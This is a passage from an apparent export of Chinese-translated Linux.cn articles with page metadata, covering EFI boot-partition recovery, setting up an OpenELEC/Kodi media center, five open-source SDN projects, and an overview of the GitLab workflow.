显然，我们的 EFI 分区出现了严重问题。简单回顾以下，如果你使用的是 UEFI，那么你需要一个单独的 FAT-32 格式化的分区。该分区用于存储 EFI 引导镜像。例如，当你安装 Fedora 时，Fedora 引导镜像会被拷贝到 EFI 子目录。每个操作系统都会被存储到一个它自己的目录，一般是 `/boot/efi/EFI/<操作系统版本>/`。
在我的 [G50](http://www.dedoimedo.com/computers/lenovo-g50-distros-second-round.html) 机器上，这里有很多各种发行版测试条目，包括：centos、debian、fedora、mx-15、suse、Ubuntu、zorin 以及其它。这里也有一个 goofiboot 目录。但是，efibootmgr 并没有在它的菜单中显示 goofiboot 条目。显然这里出现了一些问题。
```
sudo efibootmgr -d /dev/sda
BootCurrent: 0001
Timeout: 0 seconds
BootOrder: 0001,0005,2003,0000,2001,2002
Boot0000* Lenovo Recovery System
Boot0001* ubuntu
Boot0003* EFI Network 0 for IPv4 (68-F7-28-4D-D1-A1)
Boot0004* EFI Network 0 for IPv6 (68-F7-28-4D-D1-A1)
Boot0005* Windows Boot Manager
Boot0006* fedora
Boot0007* suse
Boot0008* debian
Boot0009* mx-15
Boot2001* EFI USB Device
Boot2002* EFI DVD/CDROM
Boot2003* EFI Network
...
```
P.S. 上面的输出是在 LIVE 会话中运行命令生成的！
我决定清除所有非默认的以及非微软的条目然后重新开始。显然，有些东西被损坏了，妨碍了新的发行版设置它们自己的启动引导程序。因此我删除了 `/boot/efi/EFI` 分区下面除了 Boot 和 Windows 以外的所有目录。同时，我也通过删除所有额外的条目更新了启动管理器。
```
efibootmgr -b <hex> -B <hex>
```
最后，我重新安装了 Ubuntu，并仔细监控 GRUB 安装和配置的过程。这次，成功完成啦。正如预期的那样，几个无效条目出现了一些错误，但整个安装过程完成就好了。
### 额外阅读
如果你不喜欢这种手动修复，你可以阅读：
* [Boot-Info](https://help.ubuntu.com/community/Boot-Info) 手册，里面有帮助你恢复系统的自动化工具
* [Boot-repair-cd](https://sourceforge.net/projects/boot-repair-cd/) 自动恢复工具下载页面
### 总结
如果你遇到由于 EFI 分区破坏而导致系统严重瘫痪的情况，那么你可能需要遵循本指南中的建议。 删除所有非默认条目。 如果你使用 Windows 进行多重引导，请确保不要修改任何和 Microsoft 相关的东西。 然后相应地更新引导菜单，以便删除损坏的条目。 重新运行所需发行版的安装设置，或者尝试用之前介绍的比较不严谨的修复方法。
我希望这篇小文章能帮你节省一些时间。Solus 对我系统的更改使我很懊恼。这些事情本不应该发生，恢复过程也应该更简单。不管怎样，虽然事情似乎很可怕，修复并不是很难。你只需要删除损害的文件然后重新开始。你的数据应该不会受到影响，你也应该能够顺利进入到运行中的系统并继续工作。开始吧。
加油。
---
作者简介：
我叫 Igor Ljubuncic。38 岁，已婚，但还没有小孩。我现在是一个云技术公司的首席工程师，前端新手。在 2015 年年初之前，我在世界上最大的 IT 公司之一的工程计算团队担任操作系统架构师，开发新的基于 Linux 的解决方案、优化内核、在 Linux 上实现一些好的想法。在这之前，我是一个为高性能计算环境设计创新解决方案团队的技术主管。其它一些头衔包括系统专家、系统开发员或者类似的。所有这些都是我的爱好，但从 2008 年开始，就是有报酬的工作。还有什么比这更令人满意的呢？
从 2004 到 2008 年，我通过在医疗图像行业担任物理专家养活自己。我的工作主要关注解决问题和开发算法。为此，我广泛使用 Matlab，主要用于信号和图像处理。另外，我已通过几个主要工程方法的认证，包括 MEDIC Six Sigma Green Belt、实验设计以及统计工程。
（题图：Pixabay，CC0）
---
via: <http://www.dedoimedo.com/computers/grub2-efi-corrupt-part-recovery.html>
作者：[Igor Ljubuncic](http://www.dedoimedo.com/faq.html) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何通过 OpenELEC 创建你自己的媒体中心
|
Derrik Diener
|
https://www.maketecheasier.com/build-media-center-with-openelec/
|
你是否曾经想要创建你自己的家庭影院系统？如果是的话，这里有一个为你准备的指南！在本篇文章中，我们将会介绍如何设置一个由 OpenELEC 以及 Kodi 驱动的家庭娱乐系统。
|
/data/attachment/album/201705/12/194428wnqplhp0p70wwpl4.jpg.thumb.jpg
|
/data/attachment/album/201705/12/194428wnqplhp0p70wwpl4.jpg
| true | false | true |
svtter
| false |
[
"OpenELEC",
"Kodi"
] |
分享
|
{
"viewnum": 10678,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.200.57.98",
"message": "这个真的好赞，曾在树莓派上试过，无比丝滑",
"username": "来自北京的 Firefox 53.0|Windows 7 用户",
"date": "2017-05-15T16:48:54"
}
] |
[] |
你是否曾经想要创建你自己的家庭影院系统？如果是的话，这里有一个为你准备的指南！在本篇文章中，我们将会介绍如何设置一个由 OpenELEC 以及 Kodi 驱动的家庭娱乐系统。
| 2017-05-12T19:45:00 | 2017-05-12T19:45:00 | 8,501 |
/article-8501-1.html
|
你是否曾经想要创建你自己的家庭影院系统？如果是的话，这里有一个为你准备的指南！在本篇文章中，我们将会介绍如何设置一个由 OpenELEC 以及 Kodi 驱动的家庭娱乐系统。我们将会介绍如何制作安装介质，哪些设备可以运行该软件，如何安装它，以及其他一切需要知道的事情等等。
### 选择一个设备
在开始设定媒体中心的软件前，你需要选择一个设备。OpenELEC 支持一系列设备。从一般的桌面设备到树莓派 2/3 等等。选择好设备以后，考虑一下你怎么访问 OpenELEC 系统中的媒体并让其就绪。
\**注意: \**OpenELEC 基于 Kodi，有许多方式加载一个可播放的媒体（比如 Samba 网络分享，外设，等等）。
### 制作安装磁盘
OpenELEC 安装磁盘需要一个 USB 存储器，且其至少有 1GB 的容量。这是安装该软件的唯一方式，因为开发者没有发布 ISO 文件。取而代之的是需要创建一个 IMG 原始文件。选择与你设备相关的链接并且[下载](http://openelec.tv/get-openelec/category/1-openelec-stable-releases)原始磁盘镜像。当磁盘镜像下载完毕，打开一个终端，并且使用命令将数据从压缩包中解压出来。
**在Linux/macOS上**
```
cd ~/Downloads
gunzip -d OpenELEC*.img.gz
```
**在Windows上**
下载 [7zip](http://www.7-zip.org/)，安装它，然后解压压缩文件。
当原始的 .IMG 文件被解压后，下载 [Etcher USB creation tool](https://etcher.io/)，并且依据在界面上的指示来安装它并创建 USB 磁盘。
**注意:** 对于树莓派用户，Etcher 也支持将文件写入到 SD 卡中。
### 安装 OpenELEC
OpenELEC 安装进程可能是安装流程最简单的操作系统之一了。将 USB 设备加入，然后配置设备使其以 USB 方式启动。同样，这个过程也可以通过按 DEL 或者 F2 来替代。然而并不是所有的 BIOS 都是一样的，所以最好的方式就是看看手册什么的。
一旦进入 BIOS，修改设置使其从 USB 磁盘中直接加载。这将会允许电脑从 USB 磁盘中启动，这将会使你进入到 Syslinux 引导屏幕。在提示符中，键入 `installer`，然后按下回车键。
默认情况下，快速安装选项已经是选中的。按回车键来开始安装。这将会使安装器跳转到磁盘选择界面。选择 OpenELEC 要被安装到的地方，然后按下回车键来开始安装过程。
一旦完成安装，重启系统并加载 OpenELEC。
### 配置 OpenELEC
在第一次启动时，用户必须配置一些东西。如果你的媒体中心拥有一个无线网卡，OpenELEC 将会提示用户将其连接到一个热点上。选择一个列表中的网络并且输入密码。
在下一步“<ruby> 欢迎来到 OpenELEC <rt> Welcome to OpenELEC </rt></ruby>”屏上，用户必须配置不同的分享设置（SSH 以及 Samba）。建议你把这些设置开启，因为可以用命令行访问，这将会使得远程传输媒体文件变得很简单。
### 增加媒体
在 OpenELEC（Kodi）中增加媒体，首先选择你希望添加的媒体到的部分。以同样的流程，为照片、音乐等添加媒体。在这个指南中，我们将着重讲解添加视频。
点击在主页的“<ruby> 视频 <rt> Video </rt></ruby>”选项来进入视频页面。选择“<ruby> 文件 <rt> Files </rt></ruby>”选项，在下一个页面点击“<ruby> 添加视频... <rt> Add videos… </rt></ruby>”，这将会使得用户进入Kodi 的添加媒体页面。在这个页面，你可以随意的添加媒体源了（包括内部和外部的）。
OpenELEC 会自动挂载外部的设备（像是 USB，DVD 碟片，等等），并且它可以通过浏览文件挂载点来挂载。一般情况下，这些设备都会被放在“/run”下，或者，返回你点击“<ruby> 添加视频... <rt> Add videos… </rt></ruby>”的页面，在那里选择设备。任何外部设备，包括 DVD/CD，将会直接展示在那里，并可以直接访问。这是一个很好的选择——对于那些不懂如何找到挂载点的用户。
现在这个设备在 Kodi 中被选中了，界面将会询问用户去浏览设备上私人文件夹，里面有私人文件——这一切都是在媒体中心文件浏览器工具下执行的。一旦找到了放置文件的文件夹，添加它，给予文件夹一个名字，然后按下 OK 按钮来保存它。
当一个用户浏览“<ruby> 视频 <rt> Videos </rt></ruby>”，他们将会看到可以点击的文件夹，这个文件夹中带有从外部设备添加的媒体。这些文件夹可以很容易地在系统上播放。
### 使用 OpenELec
当用户登录他们将会看见一个“主界面”，这个主界面有许多部分，用户可以点击它们并且进入，包括：图片，视频，音乐，程序等等。当悬停在这些部分的时候，子部分就会出现。例如，当悬停在“图片”上时，子部分”文件“以及”插件”就会出现。
如果一个用户点击了一个部分中的子部分，例如“插件”，Kodi 插件选择就会出现。这个安装器将会允许用户浏览新的插件内容，来安装到这个子部分（像是图片关联插件，等等）或者启动一个已经存在的图片关联插件，当然，这个插件应该已经安装到系统上了。
此外，点击任何部分的文件子部分（例如视频）将会直接给显示用户该部分可用的文件。
### 系统设置
Kodi 有丰富的设置区域。为了找到这些设置，使鼠标在右方悬停，目录选择器将会滚动右方并且显示”<ruby> 系统 <rt> System </rt></ruby>“。点击来打开全局系统设定区。
用户可以修改任何设置，从安装 Kodi 仓库的插件，到激活各种服务，到改变主题，甚至天气。如果想要退出设定区域并且返回主页面，点击右下方角落中的“home”图标。
### 结论
通过 OpenELEC 的安装和配置，你现在可以随意体验使用你自己的 Linux 支持的家庭影院系统。在所有的家庭影院系统 Linux 发行版中，这个是最用户友好的。请记住，尽管这个系统是以“OpenELEC”为名，但它运行着的是 Kodi ，并兼容任何 Kodi 的插件，工具以及程序。
---
via: <https://www.maketecheasier.com/build-media-center-with-openelec/>
作者：[Derrik Diener](https://www.maketecheasier.com/author/derrikdiener/) 译者：[svtter](https://github.com/svtter) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
5 个需要知道的开源的软件定义网络（SDN）项目
|
Sam Dean
|
https://www.linux.com/news/open-cloud-report/2016/5-open-source-software-defined-networking-projects-know
|
SDN 开始重新定义企业网络。这里有五个应该知道的开源项目。
|
/data/attachment/album/201705/12/200515odi537lva5ld327b.jpg.thumb.jpg
|
/data/attachment/album/201705/12/200515odi537lva5ld327b.jpg
| true | false | true |
geekpi
| false |
[
"SDN"
] |
观点
|
{
"viewnum": 5034,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.20.112.126",
"message": "Linux基金会基本挑起来未来的大梁啦",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-14T08:09:50"
}
] |
[] |
SDN 开始重新定义企业网络。这里有五个应该知道的开源项目。
| 2017-05-12T20:04:00 | 2017-05-12T20:04:00 | 8,502 |
/article-8502-1.html
|
>
> SDN 开始重新定义企业网络。这里有五个应该知道的开源项目。
>
>
>
纵观整个 2016 年，软件定义网络（SDN）持续快速发展并变得成熟。我们现在已经超出了开源网络的概念阶段，两年前评估这些项目潜力的公司已经开始了企业部署。如几年来所预测的，SDN 正在开始重新定义企业网络。
这与市场研究人员的观点基本上是一致的。IDC 在今年早些时候公布了 SDN 市场的[一份研究](https://www.idc.com/getdoc.jsp?containerId=prUS41005016)，它预计从 2014 年到 2020 年 SDN 的年均复合增长率为 53.9％，届时市场价值将达到 125 亿美元。此外，“<ruby> 2016 技术趋势 <rt> Technology Trends 2016 </rt></ruby>” 报告中将 SDN 列为 2016 年最佳技术投资。
IDC 网络基础设施副总裁，[Rohit Mehra](http://www.idc.com/getdoc.jsp?containerId=PRF003513) 说：“云计算和第三方平台推动了 SDN 的需求，这预示着 2020 年的一个价值超过 125 亿美元的市场。毫无疑问的是 SDN 的价值将越来越多地渗透到网络虚拟化软件和 SDN 应用中，包括虚拟化网络和安全服务。大型企业现在正在数据中心体现 SDN 的价值，但它们最终会认识到其在分支机构和校园网络中的广泛应用。“
Linux 基金会最近[发布](https://www.linux.com/blog/linux-foundation-issues-2016-guide-open-source-cloud-projects)了其 2016 年度报告[“开放云指南：当前趋势和开源项目”](http://ctt.marketwire.com/?release=11G120876-001&id=10172077&type=0&url=http%3A%2F%2Fgo.linuxfoundation.org%2Frd-open-cloud-report-2016-pr)。其中第三份年度报告全面介绍了开放云计算的状态，并包含关于 unikernel 的部分。你现在可以[下载报告](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr)了，首先要注意的是汇总和分析研究，说明了容器、unikernel 等的趋势是如何重塑云计算的。该报告提供了对当今开放云环境中心的分类项目的描述和链接。
在本系列中，我们会研究各种类别，并提供关于这些领域如何发展的更多见解。下面，你会看到几个重要的 SDN 项目及其所带来的影响，以及 GitHub 仓库的链接，这些都是从“开放云指南”中收集的：
### 软件定义网络
#### [ONOS](http://onosproject.org/)
<ruby> 开放网络操作系统 <rt> Open Network Operating System </rt></ruby>（ONOS）是一个 Linux 基金会项目，它是一个面向服务提供商的软件定义网络操作系统，它具有可扩展性、高可用性、高性能和抽象功能来创建应用程序和服务。
[ONOS 的 GitHub 地址](https://github.com/opennetworkinglab/onos)。
#### [OpenContrail](http://www.opencontrail.org/)
OpenContrail 是 Juniper Networks 的云开源网络虚拟化平台。它提供网络虚拟化的所有必要组件：SDN 控制器、虚拟路由器、分析引擎和已发布的上层 API。其 REST API 配置并收集来自系统的操作和分析数据。
[OpenContrail 的 GitHub 地址](https://github.com/Juniper/contrail-controller)。
#### [OpenDaylight](https://www.opendaylight.org/)
OpenDaylight 是 Linux 基金会旗下的 OpenDaylight 基金会项目，它是一个可编程的、提供给服务提供商和企业的软件定义网络平台。它基于微服务架构，可以在多供应商环境中的一系列硬件上实现网络服务。
[OpenDaylight 的 GitHub 地址](https://github.com/opendaylight)。
#### [Open vSwitch](http://openvswitch.org/)
Open vSwitch 是一个 Linux 基金会项目，是具有生产级品质的多层虚拟交换机。它通过程序化扩展设计用于大规模网络自动化，同时还支持标准管理接口和协议，包括 NetFlow、sFlow、IPFIX、RSPAN、CLI、LACP 和 802.1ag。它支持类似 VMware 的分布式 vNetwork 或者 Cisco Nexus 1000V 那样跨越多个物理服务器分发。
[OVS 在 GitHub 的地址](https://github.com/openvswitch/ovs)。
#### [OPNFV](https://www.opnfv.org/)
<ruby> 网络功能虚拟化开放平台 <rt> Open Platform for Network Functions Virtualization </rt></ruby>（OPNFV）是 Linux 基金会项目，它用于企业和服务提供商网络的 NFV 平台。它汇集了计算、存储和网络虚拟化方面的上游组件以创建 NFV 程序的端到端平台。
[OPNFV 在 Bitergia 上的地址](http://projects.bitergia.com/opnfv/browser/)。
*要了解更多关于开源云计算趋势和查看顶级开源云计算项目完整列表，[请下载 Linux 基金会的 “开放云指南”](http://bit.ly/2eHQOwy)。*
---
via: <https://www.linux.com/news/open-cloud-report/2016/5-open-source-software-defined-networking-projects-know>
作者：[SAM DEAN](https://www.linux.com/users/sam-dean) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
GitLab 工作流概览
|
Marcia Ramos
|
https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/
|
GitLab 是一个基于 git 的仓库管理程序，也是一个方便软件开发的强大完整应用。
GitLab 拥有一个“用户新人友好”的界面，通过图形界面和命令行界面，使你的工作更加具有效率。GitLab 不仅仅对开发者是一个有用的工具，它甚至可以被集成到你的整个团队中，使得每一个人获得一个独自唯一的平台。
|
/data/attachment/album/201705/13/140849bur08pn7r6vwpfu9.jpg.thumb.jpg
|
/data/attachment/album/201705/13/140849bur08pn7r6vwpfu9.jpg
| true | false | true |
svtter
| false |
[
"Git",
"GitLab"
] |
软件开发
|
{
"viewnum": 56433,
"commentnum": 0,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
GitLab 是一个基于 git 的仓库管理程序，也是一个方便软件开发的强大完整应用。
GitLab 拥有一个“用户新人友好”的界面，通过图形界面和命令行界面，使你的工作更加具有效率。GitLab 不仅仅对开发者是一个有用的工具，它甚至可以被集成到你的整个团队中，使得每一个人获得一个独自唯一的平台。
| 2017-05-13T14:09:00 | 2017-05-13T14:09:00 | 8,503 |
/article-8503-1.html
|
GitLab 是一个基于 git 的仓库管理程序，也是一个方便软件开发的强大完整应用。
GitLab 拥有一个“用户新人友好”的界面，通过图形界面和命令行界面，使你的工作更加具有效率。GitLab 不仅仅对开发者是一个有用的工具，它甚至可以被集成到你的整个团队中，使得每一个人获得一个独自唯一的平台。
GitLab 工作流逻辑符合使用者思维，使得整个平台变得更加易用。相信我，使用一次，你就离不开它了！
### GitLab 工作流
**GitLab 工作流** 是在软件开发过程中，在使用 GitLab 作为代码托管平台时，可以采取的动作的一个逻辑序列。
GitLab 工作流遵循了 [GitLab Flow](https://about.gitlab.com/2014/09/29/gitlab-flow/) 策略，这是由一系列由**基于 Git** 的方法和策略组成的，这些方法为版本的管理，例如**分支策略**、**Git最佳实践**等等提供了保障。
通过 GitLab 工作流，可以很方便的[提升](https://about.gitlab.com/2016/09/13/gitlab-master-plan/)团队的工作效率以及凝聚力。这种提升，从引入一个新的项目开始，一直到发布这个项目，成为一个产品都有所体现。这就是我们所说的“如何通过最快的速度把一个点子在 10 步之内变成一个产品”。
#### 软件开发阶段
一般情况下，软件开发经过 10 个主要阶段；GitLab 为这 10 个阶段依次提供了解决方案：
1. **IDEA**： 每一个从点子开始的项目，通常来源于一次闲聊。在这个阶段，GitLab 集成了 [Mattermost](https://about.gitlab.com/2015/08/18/gitlab-loves-mattermost/)。
2. **ISSUE**： 最有效的讨论一个点子的方法，就是为这个点子建立一个工单讨论。你的团队和你的合作伙伴可以在 <ruby> 工单追踪器 <rt> issue tracker </rt></ruby> 中帮助你去提升这个点子
3. **PLAN**： 一旦讨论得到一致的同意，就是开始编码的时候了。但是等等！首先，我们需要优先考虑组织我们的工作流。对于此，我们可以使用 <ruby> 工单看板 <rt> Issue Board </rt></ruby>。
4. **CODE**： 现在，当一切准备就绪，我们可以开始写代码了。
5. **COMMIT**： 当我们为我们的初步成果欢呼的时候，我们就可以在版本控制下，提交代码到功能分支了。
6. **TEST**： 通过 [GitLab CI](https://about.gitlab.com/gitlab-ci/)，我们可以运行脚本来构建和测试我们的应用。
7. **REVIEW**： 一旦脚本成功运行，我们测试和构建成功，我们就可以进行 <ruby> 代码复审 <rt> code review </rt></ruby> 以及批准。
8. **STAGING：**： 现在是时候[将我们的代码部署到演示环境](https://about.gitlab.com/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/)来检查一下，看看是否一切就像我们预估的那样顺畅——或者我们可能仍然需要修改。
9. **PRODUCTION**： 当一切都如预期，就是[部署到生产环境](https://about.gitlab.com/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/)的时候了！
10. **FEEDBACK**： 现在是时候返回去看我们项目中需要提升的部分了。我们使用[<ruby> 周期分析 <rt> Cycle Analytics </rt></ruby>](https://about.gitlab.com/solutions/cycle-analytics/)来对当前项目中关键的部分进行的反馈。
简单浏览这些步骤，我们可以发现，提供强大的工具来支持这些步骤是十分重要的。在接下来的部分，我们为 GitLab 的可用工具提供一个简单的概览。
### GitLab 工单追踪器
GitLab 有一个强大的工单追溯系统，在使用过程中，允许你和你的团队，以及你的合作者分享和讨论建议。
工单是 GitLab 工作流的第一个重要重要特性。[以工单的讨论为开始](https://about.gitlab.com/2016/03/03/start-with-an-issue/)； 跟踪新点子的改变是一个最好的方式。
这十分有利于：
* 讨论点子
* 提交功能建议
* 提问题
* 提交错误和故障
* 获取支持
* 精细化新代码的引入
每一个在 GitLab 上部署的项目都有一个工单追踪器。找到你的项目中的 **Issues** > **New issue** 来创建一个新的工单。建立一个标题来总结要被讨论的主题，并且使用 [Markdown](https://docs.gitlab.com/ee/user/markdown.html) 来形容它。看看下面的“专业技巧”来加强你的工单描述。
GitLab 工单追踪器提供了一个额外的实用功能，使得步骤变得更佳易于管理和考虑。下面的部分仔细描述了它。
#### 秘密工单
无论何时，如果你仅仅想要在团队中讨论这个工单，你可以使[该工单成为秘密的](https://about.gitlab.com/2016/03/31/feature-highlihght-confidential-issues/)。即使你的项目是公开的，你的工单也会被保密起来。当一个不是本项目成员的人，就算是 [报告人级别][01]，想要访问工单的地址时，浏览器也会返回一个 404 错误。
#### 截止日期
每一个工单允许你填写一个[截止日期](https://about.gitlab.com/2016/08/05/feature-highlight-set-dates-for-issues/#due-dates-for-issues)。有些团队工作时间表安排紧凑，以某种方式去设置一个截止日期来解决问题，是有必要的。这些都可以通过截止日期这一功能实现。
当你对一个多任务项目有截止日期的时候——比如说，一个新的发布活动、项目的启动，或者按阶段追踪任务——你可以使用[里程碑](https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/#milestones)。
#### 受托者
要让某人处理某个工单，可以将其分配给他。你可以任意修改被分配者，直到满足你的需求。这个功能的想法是，一个受托者本身对这个工单负责，直到其将这个工单重新赋予其他人。
这也可以用于按受托者筛选工单。
#### 标签
GitLab 标签也是 GitLab 流的一个重要组成部分。你可以使用它们来分类你的工单，在工作流中定位，以及通过[优先级标签](https://docs.gitlab.com/ee/user/project/labels.html#prioritize-labels)来安装优先级组织它们。
标签使得你与[GitLab 工单看板](https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/#gitlab-issue-board)协同工作，加快工程进度以及组织你的工作流。
**新功能：** 你可以创建[组标签](https://about.gitlab.com/2016/10/22/gitlab-8-13-released/#group-labels)。它可以使得在每一个项目组中使用相同的标签。
#### 工单权重
你可以添加个[工单权重](https://docs.gitlab.com/ee/workflow/issue_weight.html)使得一个工单重要性表现的更为清晰。01 - 03 表示工单不是特别重要，07 - 09 表示十分重要，04 - 06 表示程度适中。此外，你可以与你的团队自行定义工单重要性的指标。
注：该功能仅可用于 GitLab 企业版和 GitLab.com 上。
#### GitLab 工单看板
在项目中，[GitLab 工单看板](https://about.gitlab.com/solutions/issueboard)是一个用于计划以及组织你的工单，使之符合你的项目工作流的工具。
看板包含了与其相关的相应标签，每一个列表包含了相关的被标记的工单，并且以卡片的形式展示出来。
这些卡片可以在列表之间移动，被移动的卡片，其标签将会依据你移动的位置相应更新到列表上。
**新功能：** 你也可以通过点击列表上方的“+”按钮在看板右边创建工单。当你这么做的时候，这个工单将会自动添加与列表相关的标签。
**新功能：** 我们[最近推出了](https://about.gitlab.com/2016/10/22/gitlab-8-13-released/#multiple-issue-boards-ee) 每一个 GitLab 项目拥有**多个工单看板**的功能（仅存在于 [GitLab 企业版](https://about.gitlab.com/free-trial/)）；这是为不同的工作流组织你的工单的好方法。
### 通过 GitLab 进行代码复审
在工单追踪器中，讨论了新的提议之后，就是在代码上做工作的时候了。你在本地书写代码，一旦你完成了你的第一个版本，提交你的代码并且推送到你的 GitLab 仓库。你基于 Git 的管理策略可以在 [GitLab 流](https://about.gitlab.com/2014/09/29/gitlab-flow/)中被提升。
#### 第一次提交
在你的第一次提交信息中，你可以添加涉及到工单号在其中。通过这样做你可以将两个阶段的开发工作流链接起来：工单本身以及关于这个工单的第一次提交。
这样做，如果你提交的代码和工单属于同一个项目，你可以简单的添加 `#xxx` 到提交信息中（LCTT 译注：`git commit message`），`xxx`是一个工单号。如果它们不在一个项目中，你可以添加整个工单的整个URL（`https://gitlab.com/<username>/<projectname>/issues/<xxx>`）。
```
git commit -m "this is my commit message. Ref #xxx"
```
或者
```
git commit -m "this is my commit message. Related to https://gitlab.com/<username>/<projectname>/issues/<xxx>"
```
当然，你也可以替换 `gitlab.com`，以你自己的 GitLab 实例来替换这个 URL。
**注：** 链接工单和你的第一次提交是为了通过 [GitLab 周期分析](https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/#feedback)追踪你的进展。这将会衡量计划执行该工单所采取的时间，即创建工单与第一次提交的间隔时间。
#### 合并请求
一旦将你的改动提交到功能分支，GitLab 将识别该修改，并且建议你提交一次<ruby> 合并请求 <rt> Merge Request </rt></ruby>（MR）。
每一次 MR 都会有一个标题（这个标题总结了这次的改动）并且一个用 [Markdown](https://docs.gitlab.com/ee/user/markdown.html) 书写的描述。在描述中，你可以简单的描述该 MR 做了什么，提及任何工单以及 MR（在它们之间创建联系），并且，你也可以添加个[关闭工单模式](https://docs.gitlab.com/ce/administration/issue_closing_pattern.html)，当该 MR 被**合并**的时候，相关联的工单就会被关闭。
例如:
```
## 增加一个新页面
这个 MR 将会为这个项目创建一个包含该 app 概览的 `readme.md`。
Closes #xxx and https://gitlab.com/<username>/<projectname>/issues/<xxx>
预览：
cc/ @Mary @Jane @John
```
当你创建一个如上的带有描述的 MR，它将会：
* 当合并时，关闭包括工单 `#xxx` 以及 `https://gitlab.com/<username>/<projectname>/issues/<xxx>`
* 展示一张图片
* 通过邮件提醒用户 `@Mary`、`@Jane`，以及给 `@John`
你可以分配这个 MR 给你自己，直到你完成你的工作，然后把它分配给其他人来做一次代码复审。如果有必要的话，这个 MR 可以被重新分配多次，直到你覆盖你所需要的所有复审。
它也可以被标记，并且添加一个[里程碑](https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/#milestones)来促进管理。
当你从图形界面而不是命令行添加或者修改一个文件并且提交一个新的分支时，也很容易创建一个新的 MR，仅仅需要标记一下复选框，“以这些改变开始一个新的合并请求”，然后，一旦你提交你的改动，GitLab 将会自动创建一个新的 MR。
**注：** 添加[关闭工单样式](https://docs.gitlab.com/ce/administration/issue_closing_pattern.html)到你的 MR 以便可以使用 [GitLab 周期分析](https://about.gitlab.com/2016/10/25/gitlab-workflow-an-overview/#feedback)追踪你的项目进展，是十分重要的。它将会追踪“CODE”阶段，衡量第一次提交及创建一个相关的合并请求所间隔的时间。
**新功能：** 我们已经开发了[审查应用](https://about.gitlab.com/2016/10/22/gitlab-8-13-released/#ability-to-stop-review-apps)，这是一个可以让你部署你的应用到一个动态的环境中的新功能，在此你可以按分支名字、每个合并请求来预览改变。参看这里的[可用示例](https://gitlab.com/gitlab-examples/review-apps-nginx/)。
#### WIP MR
WIP MR 含义是 **在工作过程中的合并请求**，是一个我们在 GitLab 中避免 MR 在准备就绪前被合并的技术。只需要添加 `WIP:` 在 MR 的标题开头，它将不会被合并，除非你把 `WIP:` 删除。
当你改动已经准备好被合并，编辑工单来手动删除 `WIP:` ，或者使用就像如下 MR 描述下方的快捷方式。
**新功能：** `WIP` 模式可以通过[斜线命令](https://docs.gitlab.com/ce/user/project/slash_commands.html) `/wip` [快速添加到合并请求中](https://about.gitlab.com/2016/10/22/gitlab-8-13-released/#wip-slash-command)。只需要在评论或者 MR 描述中输入它并提交即可。
#### 复审
一旦你创建一个合并请求，就是你开始从你的团队以及合作方收取反馈的时候了。使用图形界面中的差异比较功能，你可以简单的添加行内注释，以及回复或者解决它们。
你也可以通过点击行号获取每一行代码的链接。
在图形界面中可以看到提交历史，通过提交历史，你可以追踪文件的每一次改变。你可以以行内差异或左右对比的方式浏览它们。
**新功能：** 如果你遇到合并冲突，可以快速地[通过图形界面来解决](https://about.gitlab.com/2016/08/22/gitlab-8-11-released/#merge-conflict-resolution)，或者依据你的需要修改文件来修复冲突。
### 构建、测试以及发布
[GitLab CI](https://about.gitlab.com/gitlab-ci/) 是一个强大的内建工具，其作用是[持续集成、持续发布以及持续分发](https://about.gitlab.com/2016/07/22/gitlab-8-10-released/#bulk-subscribe-to-issues)，它可以按照你希望的运行一些脚本。它的可能性是无止尽的：你可以把它看做是自己运行的命令行。
它完全是通过一个名为 `.gitlab-ci.yml` 的 YAML 文件设置的，其放置在你的项目仓库中。使用 Web 界面简单的添加一个文件，命名为 `.gitlab-ci.yml` 来触发一个下拉菜单，为不同的应用选择各种 CI 模版。
#### Koding
Use GitLab's [Koding integration](https://about.gitlab.com/2016/08/22/gitlab-8-11-released/#koding-integration) to run your entire development environment in the cloud. This means that you can check out a project or just a merge request in a full-fledged IDE with the press of a button.
可以使用 GitLab 的 [Koding 集成](https://about.gitlab.com/2016/08/22/gitlab-8-11-released/#koding-integration)功能在云端运行你的整个云端开发环境。这意味着你可以轻轻一键即可在一个完整的 IDE 中检出以个项目，或者合并一个请求。
#### 使用案例
GitLab CI 的使用案例：
* 用它来[构建](https://about.gitlab.com/2016/04/07/gitlab-pages-setup/)任何[静态网站生成器](https://about.gitlab.com/2016/06/17/ssg-overview-gitlab-pages-part-3-examples-ci/)，并且通过 [GitLab Pages](https://pages.gitlab.io/) 发布你的网站。
* 用它来[发布你的网站](https://about.gitlab.com/2016/08/26/ci-deployment-and-environments/) 到 `staging` 以及 `production` [环境](https://docs.gitlab.com/ce/ci/yaml/README.html#environment)。
* 用它来[构建一个 iOS 应用](https://about.gitlab.com/2016/03/10/setting-up-gitlab-ci-for-ios-projects/)。
* 用它来[构建和发布你的 Docker 镜像](https://about.gitlab.com/2016/08/11/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1/)到 [GitLab 容器注册库](https://about.gitlab.com/2016/05/23/gitlab-container-registry/)。
我们已经准备一大堆 [GitLab CI 样例工程](https://docs.gitlab.com/ee/ci/examples/README.html)作为您的指南。看看它们吧！
### 反馈：周期分析
